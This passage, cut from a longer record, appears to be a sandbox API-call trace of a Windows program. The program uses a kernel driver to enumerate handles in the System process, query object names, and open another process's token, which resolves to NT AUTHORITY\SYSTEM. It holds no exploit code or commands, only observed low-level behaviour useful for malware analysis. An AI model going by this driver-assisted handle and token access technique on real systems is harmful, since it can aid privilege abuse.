(in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.137] PsAcquireProcessExitSynchronization () returned 0x0 [0103.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.137] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001eeb420, HandleInformation=0x0) returned 0x0 [0103.137] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.137] PsReleaseProcessExitSynchronization () returned 0x2 [0103.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.137] ObQueryNameString (in: Object=0xfffffa8001eeb420, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.137] ObfDereferenceObject (Object=0xfffffa8001eeb420) returned 0x2 [0103.137] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.137] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.137] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.138] PsAcquireProcessExitSynchronization () returned 0x0 [0103.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031367d0, HandleInformation=0x0) returned 0x0 [0103.138] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.138] PsReleaseProcessExitSynchronization () returned 0x2 [0103.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.138] ObQueryNameString (in: Object=0xfffffa80031367d0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.138] ObfDereferenceObject (Object=0xfffffa80031367d0) returned 0x2 [0103.138] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.138] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.138] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.138] PsAcquireProcessExitSynchronization () returned 0x0 [0103.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800260e630, HandleInformation=0x0) returned 0x0 [0103.138] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.138] PsReleaseProcessExitSynchronization () returned 0x2 [0103.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.138] ObQueryNameString (in: Object=0xfffffa800260e630, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.138] ObfDereferenceObject (Object=0xfffffa800260e630) returned 0x2 [0103.138] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.138] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.138] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.138] PsAcquireProcessExitSynchronization () returned 0x0 [0103.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001eeeac0, HandleInformation=0x0) returned 0x0 [0103.138] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.139] PsReleaseProcessExitSynchronization () returned 0x2 [0103.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.139] ObQueryNameString (in: Object=0xfffffa8001eeeac0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.139] ObfDereferenceObject (Object=0xfffffa8001eeeac0) returned 0x2 [0103.139] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.139] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.139] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.139] PsAcquireProcessExitSynchronization () returned 0x0 [0103.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.139] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026545b0, HandleInformation=0x0) returned 0x0 [0103.139] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.139] PsReleaseProcessExitSynchronization () returned 0x2 [0103.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.139] ObQueryNameString (in: Object=0xfffffa80026545b0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.139] ObfDereferenceObject (Object=0xfffffa80026545b0) returned 0x2 [0103.139] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.139] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.139] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.139] PsAcquireProcessExitSynchronization () returned 0x0 [0103.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.139] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f973f0, HandleInformation=0x0) returned 0x0 [0103.139] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.139] PsReleaseProcessExitSynchronization () returned 0x2 [0103.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.139] ObQueryNameString (in: Object=0xfffffa8001f973f0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.139] ObfDereferenceObject (Object=0xfffffa8001f973f0) returned 0x2 [0103.139] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.139] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.140] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.140] PsAcquireProcessExitSynchronization () returned 0x0 [0103.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.140] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800219eac0, HandleInformation=0x0) returned 0x0 [0103.140] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.140] PsReleaseProcessExitSynchronization () returned 0x2 [0103.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.140] ObQueryNameString (in: Object=0xfffffa800219eac0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.140] ObfDereferenceObject (Object=0xfffffa800219eac0) returned 0x2 [0103.140] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.140] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.140] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.140] PsAcquireProcessExitSynchronization () returned 0x0 [0103.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.140] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800359a050, HandleInformation=0x0) returned 0x0 [0103.140] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.140] PsReleaseProcessExitSynchronization () returned 0x2 [0103.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.140] ObQueryNameString (in: Object=0xfffffa800359a050, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.140] ObfDereferenceObject (Object=0xfffffa800359a050) returned 0x2 [0103.140] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.140] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.140] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.140] PsAcquireProcessExitSynchronization () returned 0x0 [0103.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.140] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800231d680, HandleInformation=0x0) returned 0x0 [0103.141] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.141] PsReleaseProcessExitSynchronization () returned 0x2 [0103.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.141] ObQueryNameString (in: Object=0xfffffa800231d680, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.141] ObfDereferenceObject (Object=0xfffffa800231d680) returned 0x2 [0103.141] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.141] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.141] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.141] PsAcquireProcessExitSynchronization () returned 0x0 [0103.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.141] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002616420, HandleInformation=0x0) returned 0x0 [0103.141] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.141] PsReleaseProcessExitSynchronization () returned 0x2 [0103.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.141] ObQueryNameString (in: Object=0xfffffa8002616420, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.141] ObfDereferenceObject (Object=0xfffffa8002616420) returned 0x2 [0103.141] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.142] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.142] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.142] PsAcquireProcessExitSynchronization () returned 0x0 [0103.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.142] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025f1a20, HandleInformation=0x0) returned 0x0 [0103.142] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.142] PsReleaseProcessExitSynchronization () returned 0x2 [0103.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.142] ObQueryNameString (in: Object=0xfffffa80025f1a20, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.142] ObfDereferenceObject (Object=0xfffffa80025f1a20) returned 0x2 [0103.142] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.142] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.142] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0103.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.142] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0103.142] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000a38) returned 0x0 [0103.142] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x1a [0103.142] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a38, DesiredAccess=0x8, TokenHandle=0xfffffa80030a6d80 | out: TokenHandle=0xfffffa80030a6d80*=0xc8) returned 0x0 [0103.142] ZwClose (Handle=0xffffffff80000a38) returned 0x0 [0103.142] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.142] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.142] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.248] CloseHandle (hObject=0xc8) returned 1 [0103.248] CloseHandle (hObject=0xc0) returned 1 [0103.248] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0103.248] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.248] PsAcquireProcessExitSynchronization () returned 0x0 [0103.248] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.248] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0103.248] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.248] PsReleaseProcessExitSynchronization () returned 0x2 [0103.248] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.248] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.248] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0103.248] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.248] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.248] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0103.248] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.248] PsAcquireProcessExitSynchronization () returned 0x0 [0103.249] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.249] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0103.249] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.249] PsReleaseProcessExitSynchronization () returned 0x2 [0103.249] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.249] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.249] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0103.249] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.249] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.249] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.249] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.249] PsAcquireProcessExitSynchronization () returned 0x0 [0103.249] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.249] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0103.249] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.249] PsReleaseProcessExitSynchronization () returned 0x2 [0103.249] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.249] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.249] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0103.249] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.249] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.249] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, 